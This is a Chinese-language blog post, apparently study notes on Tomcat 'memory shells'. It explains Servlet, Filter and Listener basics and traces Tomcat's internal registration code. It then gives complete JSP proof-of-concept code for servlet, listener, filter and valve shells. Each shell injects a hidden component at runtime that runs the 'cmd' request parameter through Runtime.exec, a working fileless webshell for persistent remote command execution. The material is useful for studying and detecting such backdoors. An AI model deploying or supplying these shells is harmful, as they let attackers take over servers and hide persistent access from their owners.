首页 > 系统相关 >tomcat内存马

tomcat内存马

时间:2024-09-02 17:18:36浏览次数:10  
标签:调用 tomcat 对象 servlet 方法 Filter 内存 Servlet

Tomcat 内存马学习

内存马主要分为以下几类:

  • servlet-api类
  • filter型
  • servlet型
  • spring类
  • 拦截器
  • controller型
  • Java Instrumentation类
  • agent型

Tomcat 环境搭建

按照教程来就行了

参考:https://www.cnblogs.com/bktown/p/17636156.html#%E4%B8%8B%E8%BD%BDtomcat

maven 项目的 tomcat 搭建如果照着这个教程一般会出问题,参考:

https://blog.csdn.net/qq_45344586/article/details/131033139

问题解决参考:

https://blog.csdn.net/yugege5201314/article/details/134343903

反正就是把 web 目录下的内容重新添加到 out 目录中,

java web 三件套学习

Servlet

Servlet 是 JavaEE 的规范之一,通俗的来说就是 Java 接口,将来我们可以定义 Java 类来实现这个接口,并由 Web 服务器运行 Servlet ,所以 TomCat 又被称作 Servlet 容器。

Servlet 提供了动态 Web 资源开发技术,一种可以将网页数据提交到 Java 代码,并且将 Java 程序的数据返回给网页的技术,使用 Servlet 技术实现了不同用户登录之后在页面上动态的显示不同内容等的功能。

生命周期

  • Servlet初始化后调用 init() 方法,读取 web.xml 配置,完成对象的初始化功能
  • Servlet调用service()方法来处理客户端请求
  • Servlet销毁前调用destroy()方法
  • 最后Servlet由JVM的垃圾回收器进行垃圾回收

如何定义一个Servlet

第一步

只需要编写一个类,继承javax.servlet.http.HttpServlet类并重写service方法。service方法会根据请求方法调用相应的doxxx方法,也可以直接重新相应的doxxx方法

先引入依赖(maven 项目才可以)

<dependency>  
    <groupId>javax.servlet</groupId>  
    <artifactId>javax.servlet-api</artifactId>  
    <version>3.1.0</version>  
    <scope>provided</scope>  
</dependency>

把这个依赖的范围设置为 provided ,即只在编译和测试的过程中有效,最后生成的 war 包中不会加入这个依赖 jar 包,因为 TomCat 文件中本身就带有这个 jar 包,如果不使用这个范围,则会出现冲突。添加依赖范围时只需要在依赖坐标下面添加 <scope> 标签。

可以看到 tomcat 的 lib 目录下有这个 jar 包

一般不是 maven 项目的 tomcat 服务就可以直接从本地引入 jar 包。

第二步

定义一个类,用来实现 Servlet 接口,并重写接口中的所有方法。

package org.example;  
  
import javax.servlet.*;  
import javax.servlet.annotation.WebServlet;  
import java.io.IOException;  
  
@WebServlet("/demo")  
public class servletdemo implements Servlet {  
  
    public void init(ServletConfig servletConfig) throws ServletException {  
  
    }  
  
    public ServletConfig getServletConfig() {  
        return null;  
    }  
  
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {  
        System.out.println("Hello");  
    }  
    
    public String getServletInfo() {  
        return null;  
    }  
    
    public void destroy() {  
  
    }  
}

利用 @WebServlet("/demo") 注解配置访问路径。

Servlet3.0之前的版本需要在web.xml中配置servlet标签,servlet标签是由servletservlet-mapping标签组成,两者之间通过在servletservlet-mapping标签中同样的servlet-name名称来实现关联的。

<servlet>
		<servlet-name>Nivia</servlet-name>
		<servlet-class>Servlet</servlet-class>
</servlet>
<servlet-mapping>
		<servlet-name>Nivia</servlet-name>
		<url-pattern>/nivia</url-pattern>
</servlet-mapping>

Servlet3.0之后支持注解配置,在任意的Java类添加 javax.servlet.annotation.WebServlet 注解即可,上面用的就是这种方法。

第三步

启动配置好的 tomcat 服务,访问刚刚配置的路径,看到 idea 控制台打印了刚才在 servlet() 方法中定义的输出内容。

我们并没有实例化这个 Servlet 类的对象,那么为什么 servlet() 方法被成功执行了呢?

执行流程

在上面的例子中,我们已经写好一个 Servlet 的项目,并且将其部署到了 Web 服务器 TomCat 中,此时我们可以根据对应的 url 在浏览器中访问该服务器资源。浏览器发出 http://localhost:8080/servlet-project/demo 请求,这个请求大致分为 3 部分,分别是:

  • 根据http://localhost:8080找到要访问的 Tomcat 服务器
  • 根据 servlet-project 找到部署在 TomCat 服务器中的 Web 项目
  • 根据 demo 找到访问的项目中的具体 Servlet,因为我们已经通过注解给 Servlet 配置了具体的访问路径

此时 Web 服务器软件 TomCat 将会创建一个 ServletDemo 的对象,这个对象称为 Servlet 对象,并且该对象的 service() 方法也会被服务器自动调用。当 service() 方法被调用执行后就会向客户端浏览器发送响应数据。上面的例子中我们没有向浏览器发送具体的数据,要想实现这个功能,我们就要继续学习 ServletRequest 类和 ServletResponse 类。

java ✌的 demo,直接重新的 doGet 方法,这样 service()方法还是以前的方法,然后根据浏览器的访问方法去调用不同的 doxxx 方法进行处理,所以直接重写 doxxx 方法也可以得到一样的效果。

import java.io.*;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.*;

@WebServlet("/demo")
public class servlet extends HttpServlet {

    private String message;

    @Override
    public void init() throws ServletException {
        message = "demo";
    }
//初始化对message进行赋值
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.setContentType("text/html");

        PrintWriter out = resp.getWriter();
        out.println("<h1>" + message + "<h1>");
    }

    @Override
    public void destroy() {

    }
}

参考:https://nivi4.notion.site/Servlet-0c046c4cc9a04bfabca38c00136078ad

参考:https://blog.csdn.net/zhangxia_/article/details/128886023

Filter

javax.servlet.Filter 接口是一个过滤器,主要用于过滤URL请求,通过Filter我们可以实现URL请求资源权限验证、用户登录检测等功能

生命周期

  • Filter 初始化后调用 init() 方法,读取web.xml配置,完成对象的初始化功能
  • Filter 调用 doFilter 方法来对客户端请求进行预处理
  • Filter 销毁前调用 destroy() 方法
  • 最后 Filter 由JVM的垃圾回收器进行垃圾回收

如何定义一个 Filter

重写基本的生命周期方法即可:

package org.example;  
  
import javax.servlet.*;  
import javax.servlet.annotation.WebFilter;  
import java.io.IOException;  
import java.io.PrintWriter;  
  
@WebFilter("/*")  
public class filterdemo implements Filter {  
  
    @Override  
    public void init(FilterConfig filterConfig) throws ServletException {  
  
    }  
  
    @Override  
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {  
        System.out.println("filter");  
        filterChain.doFilter(servletRequest, servletResponse);  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

其中 web.xml 配置,Filter的配置类似于Servlet,由<filter>和<filter-mapping>两组标签组成

<filter>
<filter-name>Nivia</filter-name>
<filter-class>Servlet</filter-class>
</filter>
<filter-mapping>
<filter-name>Nivia</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

如果Servlet版本大于3.0同样可以使用注解的方式配置Filter,如上。

然后运行 tomcat 服务,发现 filter 调用确实是在 servlet 前面。

Filter 链

上面 demo 代码中的 filterChain.doFilter(servletRequest, servletResponse); 就是是传递给下一个Filter链处理。

当多个filter同时存在的时候,组成了filter链。web服务器根据Filter在web.xml文件中的注册顺序,决定先调用哪个Filter。当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain对象传递给该方法,通过判断FilterChain中是否还有filter决定后面是否还调用filter。

Listener

事件:某个方法被调用,或者属性改变
事件源:被监听的对象
监听器:用于监听事件源,当发生事件时会触发监听器

监听器分类

如何定义一个 Listener

根据不同的事件源来选择不同的接口,这里选择 ServletRequestListener,这样当访问相应路由是就会进行调用。

package org.example;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class Listenerdemo implements ServletRequestListener {

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("1");
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("2");
    }
}

需要在web.xml中配置监听器类名,没有注解方法。

<listener>  
    <listener-class>org.example.listenerdemo</listener-class>  
</listener>

然后直接运行 tomcat 服务,可以看到 servlet 初始化时调用了一次,然后就是 dofilter 调用,在调用 servlet,最后销毁时又调用了一次监听器

顺序:

lstenner->filter->servelt

tomcat 内存马

Servlet、Listener、Filter由javax.servlet.ServletContext去加载,无论是使用xml配置文件还是使用Annotation注解配置,均由Web容器进行初始化,读取其中的配置属性,然后向容器中进行注册。

ServletContext对象,它是Servlet的上下文,它记录着Servlet的相关信息。

在Servlet 3.0 API中,允许ServletContext使用动态进行注册,在Web容器初始化时,也就说创建ServletContext对象的时候进行动态注册,它提供了add*/create*方法来实现动态注入的功能

servlet 型

一个简单的Servlet,照着上面的写就行了。

package org.example;  
import java.io.*;  
import javax.servlet.*;  
import javax.servlet.annotation.WebServlet;  
import javax.servlet.http.*;  
  
@WebServlet("/test")  
public class servletdemo extends HttpServlet {  
  
    private String message;  
  
    @Override  
    public void init() throws ServletException {  
        message = "test";  
    }  
  
    @Override  
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {  
        resp.setContentType("text/html");  
  
        PrintWriter out = resp.getWriter();  
        out.println("<h1>" + message + "<h1>");  
    }  
  
    @Override  
    public void destroy() {  
  
    }  
}

sevlet 创建流程分析

需要先引入库,因为我直接本地引入 tomcat 的 lib 库没法下载源码,所以我用的是 maven 项目,直接在 pom.xml 添加

<dependency>  
    <groupId>org.apache.tomcat</groupId>  
    <artifactId>tomcat-catalina</artifactId>  
    <version>9.0.93</version>  
    <scope>provided</scope>  
</dependency>

<scope>provided</scope> 同样防止和本地的 jar 包冲突(虽然这里版本是和 tomcat 一样的感觉应该没什么影响)。

init()方法调用栈

创建StandardWrapper

LifecycleBase # startInternal 中,调用了 fireLifecycleEvent() 方法解析web.xml文件,我们跟进

然后调用 configureStart() 方法,最后调用 webconfig()解析web.xml获取各种配置参数

看到都是一些参数,在 webconfig() 中执行的 WebXml webXml = createWebXml();

参数是 null 很正常,因为我的 web.xml 配置文件什么都没写,路径是用的注解类进行注册。

然后又调用 configureContext 方法,参数 webxml 就是上面执行 createWebXml() 的结果。这个方法是创建StandWrapper对象,并根据解析参数初始化StandWrapper对象

最后通过 addServletMappingDecoded() 方法添加Servlet对应的url映射。

加载 StandardWrapper

接着在StandardContext#startInternal方法通过findChildren()获取StandardWrapper

然后会调用 loadOnStartup 来加载 wrapper,不过在这之前会先对 Listener、Filter 进行加载,如果有的话。

跟进 StandardWrapper#loadOnStartup 方法

传入的参数 children 是个 container 对象,container 对象封装了刚刚传入 StandardWrapper 对象

看到最后一个 Wrapper 正好对应着我们创建的 Servlet 的信息,如果我们想注入恶意内存马可以尝试向这个Container对象中,加入恶意构造的StandardWrapper对象。

注意这里对于 Wrapper 对象中 loadOnStartup 属性的值进行判断,只有大于0的才会被放入 list 数组进行后续的 wrapper.load() 加载调用。

发现最后一个包含了 servlet 信息的 Wrapper 该属性并不满足条件,属性值是-1

这里对应的实际上就是Tomcat Servlet的懒加载机制,可以通过 loadOnStartup 属性值来设置每个Servlet的启动顺序。默认值为-1,此时只有当Servlet被调用时才加载到内存中。

然后 load 方法会调用 loadServlet(),然后又调用了 initServlet() 方法,

看到这里的的 servlet 是默认的,刚刚说了嘛,我们自己创建的 serlvet 方法的 loadOnStartup 属性是 -1,并不会调用 load 进行加载,只有访问注册的路由如"/test"才会被 load 进内存中。

最后在调用 servlet.init(facade) 加载 standardwrapper 对象完成初始化。

至此 servlet 创建流程就算结束,虽然这里是默认的 servlet,然后访问注册路径就会在执行把自己创建的 serlvet 加载进。

注入 servlet 型内存马

  1. 获取StandardContext对象
  2. 编写恶意Servlet
  3. 通过StandardContext.createWrapper()创建StandardWrapper对象
  4. 设置StandardWrapper对象的loadOnStartup属性值
  5. 设置StandardWrapper对象的ServletName属性值
  6. 设置StandardWrapper对象的ServletClass属性值
  7. StandardWrapper对象添加进StandardContext对象的children属性中
  8. 通过StandardContext.addServletMappingDecoded()添加对应的路径映射

获取 StandardContext 对象

方法有很多,

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>

更多详细方法参考:https://xz.aliyun.com/t/9914

编写恶意Servlet

<%!
    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
%>

创建Wrapper对象

<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>

将Wrapper添加进StandardContext

<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

完整 poc

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
%>
 
<%!
 
    public class Shell_Servlet implements Servlet {
        @Override
        public void init(ServletConfig config) throws ServletException {
        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
            String cmd = req.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {
        }
    }
 
%>
 
<%
    Shell_Servlet shell_servlet = new Shell_Servlet();
    String name = shell_servlet.getClass().getSimpleName();
 
    Wrapper wrapper = standardContext.createWrapper();
    wrapper.setLoadOnStartup(1);
    wrapper.setName(name);
    wrapper.setServlet(shell_servlet);
    wrapper.setServletClass(shell_servlet.getClass().getName());
%>
 
<%
    standardContext.addChild(wrapper);
    standardContext.addServletMappingDecoded("/shell",name);
%>

写入 shell.jsp 文件,然后访问进行路由注册,

成功执行。

Listener型

Listener的种类诸多,其中ServletRequestListener用于监听ServletRequest对象的创建和销毁过程,比较适合做内存马,只要访问相关服务就可以触发相关恶意代码(对照上面的 listener 监听器分两类)。

listener 创建过程分析

其使用 ServletRequestListener 监听器时的调用栈

回溯到 fireRequestInitEvent 方法,

针对ServletRequestListener,首先会调用getApplicationEventListeners方法,获取所有的Listener对象

也就是说所有的Listener对象通过getApplicationEventListeners方法获取,正好也提供了相关setter和add方法


所以我们可以尝试向applicationEventListenersList中添加一个恶意Listener

注入 listener 型内存马

  1. 获取StandardContext上下文
  2. 实现一个恶意Listener
  3. 通过StandardContext#addApplicationEventListener方法添加恶意Listener

获取 StandardContext 对象

首先还是要获取到当前环境的StandardContext对象

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

编写一个恶意的Listener

<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

最后添加监听器

<%
Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

完整 poc

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
 
<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
 
    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

访问写的 jsp 内存马路径

然后就可以执行命令了

Filter型

Filter 创建过程分析

init()函数初始化调用栈

跟进 ApplicationFilterChain#internalDoFilter

看到最后执行的执行了 filter.init 方法进行初始化,这里的 filter 是通过 filterConfig.getFilter() 得到的(在 internalDoFilter 方法中)

一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的 filters 属性是一个 ApplicationFilterConfig 数组。现在需要寻找一下 ApplicationFilterChain.filters 属性在哪里被赋值。

发现在 StandardWrapperValve#invoke() 方法中,通过 ApplicationFilterFactory.createFilterChain() 方法初始化了一个 ApplicationFilterChain

这里面有具体的filterChain对象的创建过程

  1. 首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
  2. 然后通过wrapper.getParent()函数来获取StandardContext对象
  3. 接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
  4. 最后根据Filter的名称,在StandardContext中获取FilterConfig
  5. 通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain

所以关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter。

FilterConfigs

其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息

其中filterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>标签。可以看到,filterDef必要的属性为filterfilterClass以及filterName

filterDefs

filterDefs是一个HashMap,以键值对的形式存储filterDef

filterMaps

filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签

filterMaps必要的属性为dispatcherMappingfilterNameurlPatterns

注入 filter 型内存马

  1. 获取StandardContext对象
  2. 创建恶意Filter
  3. 使用FilterDef对Filter进行封装,并添加必要的属性
  4. 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中

获取StandardContext对象

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

创建恶意Filter

<%
public class Shell_Filter implements Filter {
    
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd=request.getParameter("cmd");
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }catch (NullPointerException n){
            n.printStackTrace();
        }
    }
}
%>

使用FilterDef封装filter

<%
Shell_Filter filter = new Shell_Filter();
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
%>

创建filterMap

filterMap用于filter和路径的绑定

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

封装filterConfig及filterDef到filterConfigs

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
    
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

完整POC

<%@ page import="java.io.IOException" %>  
<%@ page import="java.lang.reflect.Field" %>  
<%@ page import="org.apache.catalina.core.ApplicationContext" %>  
<%@ page import="org.apache.catalina.core.StandardContext" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>  
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>  
<%@ page import="java.lang.reflect.Constructor" %>  
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>  
<%@ page import="org.apache.catalina.Context" %>  
<%@ page import="java.util.Map" %>  
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
  
  
<%  
    ServletContext servletContext = request.getSession().getServletContext();  
    Field appContextField = servletContext.getClass().getDeclaredField("context");  
    appContextField.setAccessible(true);  
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);    Field standardContextField = applicationContext.getClass().getDeclaredField("context");  
    standardContextField.setAccessible(true);  
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);%>  
  
<%!  
    public class Shell_Filter implements Filter {  
        @Override  
        public void init(FilterConfig filterConfig) throws ServletException {  
  
        }  
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {  
        String cmd = request.getParameter("cmd");  
        if (cmd != null) {  
            try {  
                Runtime.getRuntime().exec(cmd);  
            } catch (IOException e) {  
                e.printStackTrace();            } catch (NullPointerException n) {  
                n.printStackTrace();            }        }        chain.doFilter(request, response);    }  
        @Override  
        public void destroy() {  
  
        }    }%>  
  
<%  
    Shell_Filter filter = new Shell_Filter();  
    String name = "CommonFilter";  
    FilterDef filterDef = new FilterDef();  
    filterDef.setFilter(filter);    filterDef.setFilterName(name);    filterDef.setFilterClass(filter.getClass().getName());    standardContext.addFilterDef(filterDef);  
  
    FilterMap filterMap = new FilterMap();  
    filterMap.addURLPattern("/*");  
    filterMap.setFilterName(name);    filterMap.setDispatcher(DispatcherType.REQUEST.name());  
    standardContext.addFilterMapBefore(filterMap);  
  
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");  
    Configs.setAccessible(true);  
    Map filterConfigs = (Map) Configs.get(standardContext);  
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);  
    constructor.setAccessible(true);  
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);    filterConfigs.put(name, filterConfig);%>

Valve型

tomcat 管道机制

我们知道,当Tomcat接收到客户端请求时,首先会使用Connector进行解析,然后发送到Container进行处理。那么我们的消息又是怎么在四类子容器中层层传递,最终送到Servlet进行处理的呢?这里涉及到的机制就是Tomcat管道机制。

这里的调用流程可以类比为Filter中的责任链机制

在Tomcat中,四大组件Engine、Host、Context以及Wrapper都有其对应的Valve类,StandardEngineValve、StandardHostValve、StandardContextValve以及StandardWrapperValve,他们同时维护一个StandardPipeline实例。

管道机制流程分析

先看看Pipeline接口

继承了 Contained 接口,Pipeline接口提供了各种对Valve的操作方法,如我们可以通过 addValve() 方法来添加一个Valve。然后 valve 接口中的 getNext() 方法又可以用来获取下一个Valve,Valve的调用过程可以理解成类似Filter中的责任链模式,按顺序调用。

其中我们可以通过重写 invoke() 方法来实现具体的业务逻辑,如:

class Shell_Valve extends ValveBase {

    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        ...
        }
    }
}

下面我们通过源码看一看,消息在容器之间是如何传递的。首先消息传递到Connector被解析后,在 org.apache.catalina.connector.CoyoteAdapter#service 方法中,其中重点是

connector.getService().getContainer().getPipeline().getFirst().invoke(request, response)

connector.getService() 获得一个 StandardService 对象,接着通过 StandardService. getContainer().getPipeline() 获取 StandardPipeline 对象。然后获得第一个 vaule 并执行其具体业务功能。所以我只有把恶意的 value 添加进 vaule 就行。

注入 value 型内存马

获取StandardPipeline对象

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    Pipeline pipeline = standardContext.getPipeline();
%>

编写恶意Valve类

<%!
    class Shell_Valve extends ValveBase {
 
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
    }
%>

将恶意Valve添加进StandardPipeline

<%
    Shell_Valve shell_valve = new Shell_Valve();
    pipeline.addValve(shell_valve);
%>

完整POC

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
 
    Pipeline pipeline = standardContext.getPipeline();
%>
 
<%!
    class Shell_Valve extends ValveBase {
 
        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd !=null){
                try{
                    Runtime.getRuntime().exec(cmd);
                }catch (IOException e){
                    e.printStackTrace();
                }catch (NullPointerException n){
                    n.printStackTrace();
                }
            }
        }
    }
%>
 
<%
    Shell_Valve shell_valve = new Shell_Valve();
    pipeline.addValve(shell_valve);
%>

参考:https://goodapple.top/archives/1355

参考:https://nivi4.notion.site/Tomcat-d0595e7ca2a94bf6b6726a288a8e8b2b

标签:调用,tomcat,对象,servlet,方法,Filter,内存,Servlet
From: https://www.cnblogs.com/gaorenyusi/p/18393078

相关文章

  • 37. 内存布局
    1内存分区C代码经过预处理、编译、汇编、链接4步后生成一个可执行程序。在Windows下,程序是一个普通的可执行文件,以下列出一个二进制可执行文件的基本情况:通过上图可以得知,在没有运行程序前,也就是说程序没有加载到内存前,可执行程序内部已经分好3段信息,分别为代码区(text)、数据区(da......
  • 38. 内存分区代码分析
    1.返回栈区地址#include<stdio.h>int*fun(){inta=10;return&a;}intmain(intargc,char*argv[]){int*p=NULL;p=fun();*p=100;//操作野指针指向的内存,errreturn0;}2.返回data区地址#include<stdio.h>int*fun(){......
  • swoole为什么能常驻内存
    Swoole作为一个高性能的PHP扩展,近年来受到了越来越多开发者的关注,其显著的特点之一就是能够常驻内存。这一功能使得Swoole在处理高并发、长连接和复杂业务场景时,表现出色。很多人可能会好奇,Swoole为什么能常驻内存,这背后有什么技术原理?本文将为你解答这一疑问。我们需要了......
  • 关于Flink内存分配核心知识点
    这个问题同样也是之前辅导过的同学的面试问题,这个问题非常接地气且考察面试者的实践经验。事实上,这也是我们大数据提高班的Flink专项提高部分内容。下面我列举的这些就是核心,能答出这些重点即可。内存模型在Flink1.9和Flink1.11版本做了非常大的改动,主要原因是为了统一Batch和Strea......
  • 多线程篇(ThreadLocal & 内存模型 & 伪共享(ThreadLocal ))(持续更新迭代)
    目录一、ThreadLocal1.前言2.简介3.与Synchronized的区别4.简单使用5.原理5.1.set5.2.get5.3.remove5.4.与Thread,ThreadLocalMap之间的关系5.常见使用场景场景一:存储用户Session场景二、数据库连接,处理数据库事务场景三、数据跨层传递(controller,servi......
  • 多线程篇(ThreadLocal & 内存模型 & 伪共享(内存可见性))(持续更新迭代)
    目录一、内存可见性问题(并发编程之美)二、Java内存模型(深入理解JVM第三版)1.简介2.硬件的效率与一致性3.Java内存模型3.1主内存与工作内存3.2内存间交互操作3.3对于volatile型变量的特殊规则3.4针对long和double型变量的特殊规则3.5原子性、可见性与有序性原......
  • 15、java 面向对象之二:对象的创建和使用(对象内存解析和匿名对象)、再谈方法(方法的重
    java面向对象之二:Ⅰ、对象的创建和使用:1、对象的内存解析:其一、描述:其二、内存解析代码1为:其三、内存解析截图1为:其四、内存解析代码2为:其五、内存解析截图2为:2、匿名对象的使用:其一、描述:其二、代码为:其三、截图为:3、自定义数组的工具类:其一、描述:其二、代码为:A、Arr......
  • android 模拟器 内存修改, 用winshark 抓包,修改数据包
    1.其实我们自己也可以开发软件,对系统线性内存地址做归纳,2.对所有内存系统地址的值,做遍历。(很快,大概32GB2s~5s),如果能找到进程对应内存堆栈,大概100ms就可以查找完毕。参考摆脱八门神器,继续利用CE在安卓游戏做上帝https://zhuanlan.zhihu.com/p/470805411不需要root在Win......
  • 深入理解Java内存模型:对并发编程的影响
    深入理解Java内存模型:对并发编程的影响大家好,我是微赚淘客返利系统3.0的小编,是个冬天不穿秋裤,天冷也要风度的程序猿!在Java并发编程中,内存模型是一个至关重要的概念,它定义了程序中各个变量的访问规则,以及在多线程环境下如何正确地处理这些变量。Java内存模型(JMM)是Java规范中定义的......
  • IO进程day06(进程间通信、信号、共享内存)
    目录【1】进程间通信IPC1》进程间通信方式2》无名管道1>特点2>函数接口3>注意事项练习:父子进程实现通信,父进程循环从终端输入数据,子进程循环打印数据,当输入quit结束。3》有名管道 1>特点2>函数接口3>注意事项 练习:通过两个进程实现cp功能 4>有名管......